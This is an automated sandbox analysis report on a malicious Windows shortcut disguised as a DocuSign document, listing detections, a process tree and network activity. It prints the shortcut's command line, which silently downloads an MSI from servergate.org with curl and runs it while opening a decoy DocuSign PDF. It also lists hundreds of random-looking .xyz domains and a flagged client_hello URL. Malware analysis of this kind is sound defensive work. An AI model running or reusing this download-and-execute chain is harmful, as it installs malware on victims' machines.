Edit tour

Windows Analysis Report
Document.lnk.download.lnk

Overview

General Information

Sample name:	Document.lnk.download.lnk
Analysis ID:	1573618
MD5:	d4f518a06f228fb45e26355095985eee
SHA1:	1fcdd6f0a1e7513c607bbbe40ce50567225e81e8
SHA256:	d9e9cf4e194792c8a81fa855733259a633e830d7753839c0b1be1314e3d478f3
Tags:	docusign-servergate-orglnkservergate-orguser-JAMESWT_MHT
Infos:

Detection

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Windows shortcut file (LNK) starts blacklisted processes

AI detected suspicious sample

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Tries to resolve many domain names, but no domain seems valid

Windows shortcut file (LNK) contains suspicious command line arguments

Checks for available system drives (often done to infect USB drives)

Connects to many different domains

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Executes massive DNS lookups (> 100)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Suspicious MsiExec Embedding Parent

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses a known web browser user agent for HTTP communication

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 6500 cmdline: "C:\Windows\System32\cmd.exe" /k curl -sLo C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi https://servergate.org/rt/setup.msi & C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi /qn & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 5808 cmdline: curl -sLo C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi https://servergate.org/rt/setup.msi MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

msiexec.exe (PID: 3580 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi" /qn MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 1276 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 1576 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 0F1478997D570E9F3111196DB2AE6DC0 MD5: 9D09DC1EDA745A5F87553048E57620CF)

icacls.exe (PID: 3116 cmdline: "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\." /SETINTEGRITYLEVEL (CI)(OI)HIGH MD5: 2E49585E4E08565F52090B144062F97E)

conhost.exe (PID: 3652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

expand.exe (PID: 2884 cmdline: "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files MD5: 544B0DBFF3F393BCE8BB9D815F532D51)

conhost.exe (PID: 1492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6412 cmdline: "C:\Windows\System32\cmd.exe" /c start msedge https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msedge.exe (PID: 1532 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7428 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2116,i,5126105625824992874,9869921234519132704,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

setup.exe (PID: 7348 cmdline: "C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\setup.exe" /VERYSILENT /VERYSILENT MD5: 12A9550703C2DFFED96EAAA738B8118E)

msedge.exe (PID: 7448 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7804 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2752 --field-trial-handle=2568,i,12157274632133465766,3969860424801218094,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8912 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6628 --field-trial-handle=2568,i,12157274632133465766,3969860424801218094,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8944 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6792 --field-trial-handle=2568,i,12157274632133465766,3969860424801218094,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7880 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6532 --field-trial-handle=2568,i,12157274632133465766,3969860424801218094,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Sigma Signatures

System Summary

Sigma detected: Suspicious MsiExec Embedding Parent

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\cmd.exe" /c start msedge https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf, CommandLine: "C:\Windows\System32\cmd.exe" /c start msedge https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding 0F1478997D570E9F3111196DB2AE6DC0, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 1576, ParentProcessName: msiexec.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c start msedge https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf, ProcessId: 6412, ProcessName: cmd.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /k curl -sLo C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi https://servergate.org/rt/setup.msi & C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi /qn & exit, CommandLine: "C:\Windows\System32\cmd.exe" /k curl -sLo C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi https://servergate.org/rt/setup.msi & C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi /qn & exit, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /k curl -sLo C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi https://servergate.org/rt/setup.msi & C:\Users\user\AppData\Local\Temp\a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi /qn & exit, ProcessId: 6500, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://aikmouciiqgecoqi.xyz:443/api/client_hello

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: ggeymcaisciikucq.xyz	Virustotal: Detection: 5%			Perma Link
Source: oqsakkimkesccikc.xyz	Virustotal: Detection: 6%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.6% probability

Machine Learning detection for sample

Source: Document.lnk.download.lnk

Joe Sandbox ML: detected

Source: unknown

HTTPS traffic detected: 166.1.160.166:443 -> 192.168.2.5:49706 version: TLS 1.2

Source:

Binary string: C:\ss2\Projects\MsiWrapper\MsiCustomActions\Release\MsiCustomActions.pdb source: a1bc08e6-90e6-4852-ab11-16ba60e33abb.msi.2.dr, 4686cf.msi.5.dr, MSI8846.tmp.5.dr

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\MW-0646e5ca-a157-48d6-bb36-111a6bcf7b6c\files\	Jump to behavior

Networking

Performs DNS queries to domains with low reputation

Source:	DNS query: aikmouciiqgecoqi.xyz
Source:	DNS query: koecgqggegimaeya.xyz
Source:	DNS query: aawqwccomcemcysm.xyz
Source:	DNS query: kcyakwisycecaqgw.xyz
Source:	DNS query: uogksceymossmmqc.xyz
Source:	DNS query: qgmyeeguweaukuke.xyz
Source:	DNS query: mywaqkeaawisisky.xyz
Source:	DNS query: yqqsggacauiiugka.xyz
Source:	DNS query: equmqmqwuuuioawa.xyz
Source:	DNS query: wmoamsauiwauoosg.xyz
Source:	DNS query: oqsakkimkesccikc.xyz
Source:	DNS query: mgiwaegaqyyaakwy.xyz
Source:	DNS query: ucmioacycscyeouk.xyz
Source:	DNS query: qumaseqmggyaiauq.xyz
Source:	DNS query: uccyyemqaiiksuwm.xyz
Source:	DNS query: sesyieaiesegeaow.xyz
Source:	DNS query: kccmicaswqmswwak.xyz
Source:	DNS query: mssaogwocegysoow.xyz
Source:	DNS query: wssaqmakumewmaes.xyz
Source:	DNS query: cmukociggiqcouio.xyz
Source:	DNS query: skyqsyyymyacyayc.xyz
Source:	DNS query: uoigsiqmemcscosu.xyz
Source:	DNS query: kuywuskkgqsigqqs.xyz
Source:	DNS query: auayomwkewcomwas.xyz
Source:	DNS query: iyaikmkkowcqemsi.xyz
Source:	DNS query: ggicikyqcaiyguee.xyz
Source:	DNS query: oqyaoykomyoygics.xyz
Source:	DNS query: eqakguiwiqacqiwg.xyz
Source:	DNS query: wgcaouuqqqwucogy.xyz
Source:	DNS query: ewacuagosgqmuocm.xyz
Source:	DNS query: wgqyouayikuyuqmk.xyz
Source:	DNS query: owaaygsacguucaye.xyz
Source:	DNS query: uwgicagyykoommga.xyz
Source:	DNS query: uiggameqqycugsqw.xyz
Source:	DNS query: goguooqkgysueime.xyz
Source:	DNS query: keosqeosukqcooco.xyz
Source:	DNS query: maoeeogmuauywsyu.xyz
Source:	DNS query: ismqaewykmoiguki.xyz
Source:	DNS query: wucwykasawokemaw.xyz
Source:	DNS query: ukmcqucewskcqygg.xyz
Source:	DNS query: qqqmeagkkosgcayo.xyz
Source:	DNS query: ysawassgkwqygmmq.xyz
Source:	DNS query: osaeyoiqoqawauga.xyz
Source:	DNS query: iagisciiyoemgwaa.xyz
Source:	DNS query: ymysimqoykwqeqiq.xyz
Source:	DNS query: ymmcwogyimsuqmcc.xyz
Source:	DNS query: osmoygyawqmmimkq.xyz
Source:	DNS query: immyecuqwkiyscys.xyz
Source:	DNS query: omsqkuiwcwoegooq.xyz
Source:	DNS query: ukaiiiyqoooycyqm.xyz
Source:	DNS query: isemauqkwwiumyky.xyz
Source:	DNS query: keguuyioweymiaws.xyz
Source:	DNS query: kwaywmaequkqccai.xyz
Source:	DNS query: yyimcoiwgckeakcm.xyz
Source:	DNS query: ekcwemuekgqsimae.xyz
Source:	DNS query: imigkomgmqgmakqk.xyz
Source:	DNS query: omasqkwqyskcagwi.xyz
Source:	DNS query: awyomscgweuqmgaw.xyz
Source:	DNS query: eyoyssauceguqwmk.xyz
Source:	DNS query: gwwcqeykmseicgaw.xyz
Source:	DNS query: qwywqgsmgaoiwsga.xyz
Source:	DNS query: ososwckwcqmmwqcy.xyz
Source:	DNS query: osaymwoggqqycmse.xyz
Source:	DNS query: oyewqwkusieeoqey.xyz
Source:	DNS query: ommwaqgaemsmcqwc.xyz
Source:	DNS query: cauewwukyywyqiei.xyz
Source:	DNS query: goeykqccmemkswom.xyz
Source:	DNS query: aksuakswwkiimamq.xyz
Source:	DNS query: isaeicumkcuwqmqq.xyz
Source:	DNS query: qiswokuokugiooky.xyz
Source:	DNS query: qiswcssocuqsaqkq.xyz
Source:	DNS query: qcyksokwumicscaa.xyz
Source:	DNS query: esiaisyasoaoqwki.xyz
Source:	DNS query: giqukkwwcwgqcisg.xyz
Source:	DNS query: ymqaaskiwomkucuy.xyz
Source:	DNS query: akueuaicusaoieiy.xyz
Source:	DNS query: sauygqecsusickcu.xyz
Source:	DNS query: kkwkgmcoawgaoiwg.xyz
Source:	DNS query: saumycuogqsqykes.xyz
Source:	DNS query: ukyokaigmmkumgoa.xyz
Source:	DNS query: eswweuycwwiiykwo.xyz
Source:	DNS query: uksgyqiqaaiaiesi.xyz
Source:	DNS query: smckcsaioceiyasu.xyz
Source:	DNS query: esimsqgcwwwmyoqc.xyz
Source:	DNS query: maiyuocqqiqiiskw.xyz
Source:	DNS query: smaaowemwiwggocu.xyz
Source:	DNS query: kwuuwgemogmuomwq.xyz
Source:	DNS query: ukicsmiwggcwksam.xyz
Source:	DNS query: gwamoggwyegsseao.xyz
Source:	DNS query: immcqsiceooqyaay.xyz
Source:	DNS query: kkcqgowgkcoyokcu.xyz
Source:	DNS query: kecgikusmakuksma.xyz
Source:	DNS query: ymuiggyusggsymoi.xyz
Source:	DNS query: uecouukwkuceyuwg.xyz
Source:	DNS query: eyoaceoookqskqmy.xyz
Source:	DNS query: awwomgcseeqwkkom.xyz
Source:	DNS query: keykoekseemyiewq.xyz
Source:	DNS query: ysiwwoeeaaskykaw.xyz
Source:	DNS query: kwmcuwccqmuecgea.xyz
Source:	DNS query: gwyooeiscmwguqms.xyz
Source:	DNS query: wuokiysmiucoucak.xyz
Source:	DNS query: wuuiumemmigyyauq.xyz
Source:	DNS query: acwomuuukiomgqkm.xyz
Source:	DNS query: muwqwgaaymomgwmi.xyz
Source:	DNS query: omgcoecwsqiuqyug.xyz
Source:	DNS query: kqmsgskwgemyueya.xyz
Source:	DNS query: eyiyueewuaqmmwcm.xyz
Source:	DNS query: gwoyamckoqoaauoq.xyz
Source:	DNS query: qwqsoyoqkymakowm.xyz
Source:	DNS query: gcmiymmqgwuquokm.xyz
Source:	DNS query: ymseciekayuweoww.xyz
Source:	DNS query: oyocwswugeiqqyoo.xyz
Source:	DNS query: omgooecquoweeomo.xyz
Source:	DNS query: imgeoyougkmmeuec.xyz
Source:	DNS query: smoswyoekkccyuga.xyz
Source:	DNS query: suwkomiqcykeyako.xyz
Source:	DNS query: smwsugycuuckemue.xyz
Source:	DNS query: qigcqiaomwieqwka.xyz
Source:	DNS query: oekcyqqggaegsesm.xyz
Source:	DNS query: qcoysaaooaiccqyu.xyz
Source:	DNS query: mismuqiygyeysaoo.xyz
Source:	DNS query: wockoyekyageakcg.xyz
Source:	DNS query: ososokqeakgguwsq.xyz
Source:	DNS query: wcgqccqcugomywua.xyz
Source:	DNS query: aqaqgemescmwsqks.xyz
Source:	DNS query: aqiwocaywcswuwsq.xyz
Source:	DNS query: aqgmgoqcoqqkguyk.xyz
Source:	DNS query: oywgqkusocouysua.xyz
Source:	DNS query: uyygagweoagcuqky.xyz
Source:	DNS query: muiccguyaeaqwweg.xyz
Source:	DNS query: qiqueqokwqqgwwci.xyz
Source:	DNS query: uygmgoymcwcgkios.xyz
Source:	DNS query: qiyggmguowygeooc.xyz
Source:	DNS query: acacoiqgoimayqwm.xyz
Source:	DNS query: smisyqewaummmwoc.xyz
Source:	DNS query: mumuqocoisaucwmq.xyz
Source:	DNS query: qqoawmqqwqcusmee.xyz
Source:	DNS query: qcygacuamqqugcck.xyz
Source:	DNS query: kkiigoymgkmoggoq.xyz
Source:	DNS query: qqmicqemgcgieoau.xyz
Source:	DNS query: sagymwuwgeucsmac.xyz
Source:	DNS query: igmqooiwioymwkcm.xyz
Source:	DNS query: osyqameakgkceeog.xyz
Source:	DNS query: sgigamoeiwksoecq.xyz
Source:	DNS query: keckssemmeoqieqe.xyz
Source:	DNS query: caysswwugsmkeksw.xyz
Source:	DNS query: cgiamwsqgcmqgqse.xyz
Source:	DNS query: uyeqwcuyimescesu.xyz
Source:	DNS query: ekiwqiyewuiqoemo.xyz
Source:	DNS query: oeakuqueisysswcg.xyz
Source:	DNS query: acemcwecgiqcukys.xyz
Source:	DNS query: qcwaiaiqiwcakawa.xyz
Source:	DNS query: esyiocqieemagwmo.xyz
Source:	DNS query: kqsakygykwusqams.xyz
Source:	DNS query: ymygkkggyigeqcqe.xyz
Source:	DNS query: qqqkagyoymmosuyo.xyz
Source:	DNS query: moiimkscmiswaesw.xyz
Source:	DNS query: igkiociagqsacmwa.xyz
Source:	DNS query: ymugwyokyyccykmw.xyz
Source:	DNS query: gieksqwccmmqkemm.xyz
Source:	DNS query: iaueigwgocakgsku.xyz
Source:	DNS query: sgsasqgwayeckgoy.xyz
Source:	DNS query: kwogawueykiiumao.xyz
Source:	DNS query: iagmkeayqmuowswy.xyz
Source:	DNS query: yyyagyakeciucagk.xyz
Source:	DNS query: isukyiwyscosaaqc.xyz
Source:	DNS query: goicqsmskkygkkka.xyz
Source:	DNS query: awacwkqgsoomimye.xyz
Source:	DNS query: iaawaweqwceogamg.xyz
Source:	DNS query: kqueagsoikuyocca.xyz
Source:	DNS query: momoqikcaksewaua.xyz
Source:	DNS query: suagiqkqmkgysmiw.xyz
Source:	DNS query: gcwequgwyimwymsa.xyz
Source:	DNS query: igywsgwooemqiuss.xyz
Source:	DNS query: wikiagqsmeeaeegy.xyz
Source:	DNS query: eeoeukoqgiwsumsu.xyz
Source:	DNS query: ygooiessycewaocg.xyz
Source:	DNS query: qcqgssmagywqcgws.xyz
Source:	DNS query: goiikukwyyauemqc.xyz
Source:	DNS query: comuwmkimocayeeu.xyz
Source:	DNS query: isgasoomksiwqcmg.xyz
Source:	DNS query: qigismmgwsiseyuu.xyz
Source:	DNS query: wuqggcwmoscwykwg.xyz
Source:	DNS query: qceawaaswmsuekmu.xyz
Source:	DNS query: ygucsucmagwqsqcu.xyz
Source:	DNS query: giuccqyqokookyue.xyz
Source:	DNS query: gceesusqmuockkgw.xyz
Source:	DNS query: ygesoycecmkuwayg.xyz
Source:	DNS query: sasqgsyksiccuuws.xyz
Source:	DNS query: qwggykgwkqoceiuo.xyz
Source:	DNS query: wiguisuayimaukgu.xyz
Source:	DNS query: qcwcgegyyieaoqca.xyz
Source:	DNS query: gwcyyawigmwceaqi.xyz
Source:	DNS query: mueuwcqsioowsmce.xyz
Source:	DNS query: qiewcykmuuacuoyk.xyz
Source:	DNS query: coayaokeissieqcc.xyz
Source:	DNS query: oeooiqokqsqcsaig.xyz
Source:	DNS query: masegmsiqgamiugm.xyz
Source:	DNS query: smwywssyyaciqkae.xyz
Source:	DNS query: aweqoooqomueeiwi.xyz
Source:	DNS query: akasikewaomyiwqk.xyz
Source:	DNS query: oyyamqygcecqocmq.xyz
Source:	DNS query: qwikoqqgiayyuakq.xyz
Source:	DNS query: miqcugomwgmygyoq.xyz
Source:	DNS query: wiccyamsgmuqoeoy.xyz
Source:	DNS query: ymeiqyyqqyaaygie.xyz
Source:	DNS query: wiomcwmascsigags.xyz
Source:	DNS query: awgyuqqswicwkqcs.xyz
Source:	DNS query: iacisiamimiiqyeo.xyz
Source:	DNS query: wogawoqysgiockwa.xyz
Source:	DNS query: mayykkuyeuiggyws.xyz
Source:	DNS query: cosaygigqegeyewi.xyz
Source:	DNS query: ekqyosgcumkcecmo.xyz
Source:	DNS query: qimmkmaumumswocw.xyz
Source:	DNS query: acqaagqgmsmeouce.xyz
Source:	DNS query: awasockiaymagmci.xyz
Source:	DNS query: akuyqkmomwqyiyow.xyz
Source:	DNS query: caceukeeygaaqaec.xyz
Source:	DNS query: qwcaikouwwekssco.xyz
Source:	DNS query: qqioykeogcwkowgq.xyz
Source:	DNS query: igeqissugeuswaus.xyz
Source:	DNS query: osoawyeyassgycgy.xyz
Source:	DNS query: cuaumuqcoeegomsq.xyz
Source:	DNS query: oyogquqkmyqwwkuq.xyz
Source:	DNS query: gwyougsgeaaoiumg.xyz
Source:	DNS query: ukeoemaaimqyuais.xyz
Source:	DNS query: oewuwcsmaacckewa.xyz
Source:	DNS query: esykokiigsgwcwsa.xyz
Source:	DNS query: ekgqymkkqiwogqsy.xyz
Source:	DNS query: wueossewygqoakoq.xyz
Source:	DNS query: isceiesauogasmoo.xyz
Source:	DNS query: giscmywoiaqmqcmw.xyz
Source:	DNS query: uyqweoyukcewugsu.xyz
Source:	DNS query: imuscegymggagewg.xyz
Source:	DNS query: wgesgakysuqaewik.xyz
Source:	DNS query: uwoyyqgiwowysqou.xyz
Source:	DNS query: syaouwwyoaemeekm.xyz
Source:	DNS query: aoscugususamokuy.xyz
Source:	DNS query: qucyaygweeasqeoy.xyz
Source:	DNS query: uiwwamyuymycooey.xyz
Source:	DNS query: iygukwyuqwiuoqmi.xyz
Source:	DNS query: koaeaguekwcaousw.xyz
Source:	DNS query: skssioqkemoiieaa.xyz
Source:	DNS query: yewomygmueegmoqi.xyz
Source:	DNS query: kuyoukwwacqkcoyo.xyz
Source:	DNS query: gmcqgmkyguwkskyg.xyz
Source:	DNS query: mygiqcqokowwmgqq.xyz
Source:	DNS query: cymogqmasaiiwmww.xyz
Source:	DNS query: iykumkamcykgicyi.xyz
Source:	DNS query: cyemcqwkasuimkgs.xyz
Source:	DNS query: ieqeeiggkuqcomyo.xyz
Source:	DNS query: ssmkyomikukusksu.xyz
Source:	DNS query: kimakioiwmawksiw.xyz
Source:	DNS query: qumssmeysccykkyo.xyz
Source:	DNS query: ykuoaucocogcwoky.xyz
Source:	DNS query: semyssioekmosauo.xyz
Source:	DNS query: aiiqyyikowqaygwy.xyz
Source:	DNS query: kouumoyqiuckkcau.xyz
Source:	DNS query: qgwkkkyicoqmooqu.xyz
Source:	DNS query: uwwcocucusmeguaw.xyz
Source:	DNS query: cekggiciueyeyoku.xyz
Source:	DNS query: iqqeoamqwiuiyuua.xyz
Source:	DNS query: uokqmokseqqakiui.xyz
Source:	DNS query: cyqqgacqkowwkqqe.xyz
Source:	DNS query: cmqqeimyycgqwsgg.xyz
Source:	DNS query: wmgeoqqiwqcmimwu.xyz
Source:	DNS query: quyckaioggawuois.xyz
Source:	DNS query: eqciawooemoueyqu.xyz
Source:	DNS query: oqoaumkywacmuwwm.xyz
Source:	DNS query: ewueyekksqksycww.xyz
Source:	DNS query: csmasucykosuwouy.xyz
Source:	DNS query: seeogeqwsqmsoaqe.xyz
Source:	DNS query: gusmkkaiomeeqaiy.xyz
Source:	DNS query: msyecoiqeyqeiquy.xyz
Source:	DNS query: skawoueawceoywsy.xyz
Source:	DNS query: iyuaqococuqcsgii.xyz
Source:	DNS query: kuyaasckcgacyesi.xyz
Source:	DNS query: aaeqiiecqqumcgky.xyz
Source:	DNS query: aawiysageawcoyok.xyz
Source:	DNS query: yqysoaosqewciiww.xyz
Source:	DNS query: yessywkwcwmyewqe.xyz
Source:	DNS query: aueiqscgeicewaoo.xyz
Source:	DNS query: uccsgcekiwcyucou.xyz
Source:	DNS query: aiumyocycyyikiwc.xyz
Source:	DNS query: aoqayemwgmsyuimi.xyz
Source:	DNS query: mmiowgeswucumqae.xyz
Source:	DNS query: mmiugosumuqmuqoc.xyz
Source:	DNS query: ecqisawmymscauow.xyz
Source:	DNS query: iyoqqeicqoquiqka.xyz
Source:	DNS query: ecoqwiswmwqokmay.xyz
Source:	DNS query: ceckmwoyqkwgeoqg.xyz
Source:	DNS query: kcoiygiwuyqyaoku.xyz
Source:	DNS query: aaeyckqsgmiqsgew.xyz
Source:	DNS query: qgaiosyouwwkgsmm.xyz
Source:	DNS query: ocqseueommkkqcgs.xyz
Source:	DNS query: owmesaosmycoeceq.xyz
Source:	DNS query: qokauaicweuwscac.xyz
Source:	DNS query: sewmmwqeyauowwwo.xyz
Source:	DNS query: mmgowiccqoeomagq.xyz
Source:	DNS query: kcwiywyygywkkysk.xyz
Source:	DNS query: syiysgiqgqggqkoc.xyz
Source:	DNS query: ykuasckuceswseig.xyz
Source:	DNS query: quugmiumsieaiyys.xyz
Source:	DNS query: ikqywgcqaggogqsa.xyz
Source:	DNS query: eqyamamqwsseyoig.xyz
Source:	DNS query: seqkawokggwucsui.xyz
Source:	DNS query: gmqeqkcqackwkgao.xyz
Source:	DNS query: guowewgekuoqacyy.xyz
Source:	DNS query: aaokyscqeecowaci.xyz
Source:	DNS query: ywywwwgwekicgico.xyz
Source:	DNS query: wsisaoaauqwmuomg.xyz
Source:	DNS query: koouumcuucaeakye.xyz
Source:	DNS query: okccisioeycusekg.xyz
Source:	DNS query: cymymsciyaiacwgw.xyz
Source:	DNS query: aoyeoimcuuqakckw.xyz
Source:	DNS query: qoaweokuqggaymks.xyz
Source:	DNS query: ewuyacewswkoueqw.xyz
Source:	DNS query: kiuymkmaomciimcc.xyz
Source:	DNS query: oqaiyaoqwyeswaiy.xyz
Source:	DNS query: koyokggaqsagggym.xyz
Source:	DNS query: cmsuagygagqceocm.xyz
Source:	DNS query: uisgoqaoksgqsqyg.xyz
Source:	DNS query: ocgcqsagaakgkcma.xyz
Source:	DNS query: okgigkmiieweagia.xyz
Source:	DNS query: skiwkmaaeeiqqgee.xyz
Source:	DNS query: aagokgyaswscyaeu.xyz
Source:	DNS query: gmciuwiycsqycggy.xyz
Source:	DNS query: ggeymcaisciikucq.xyz
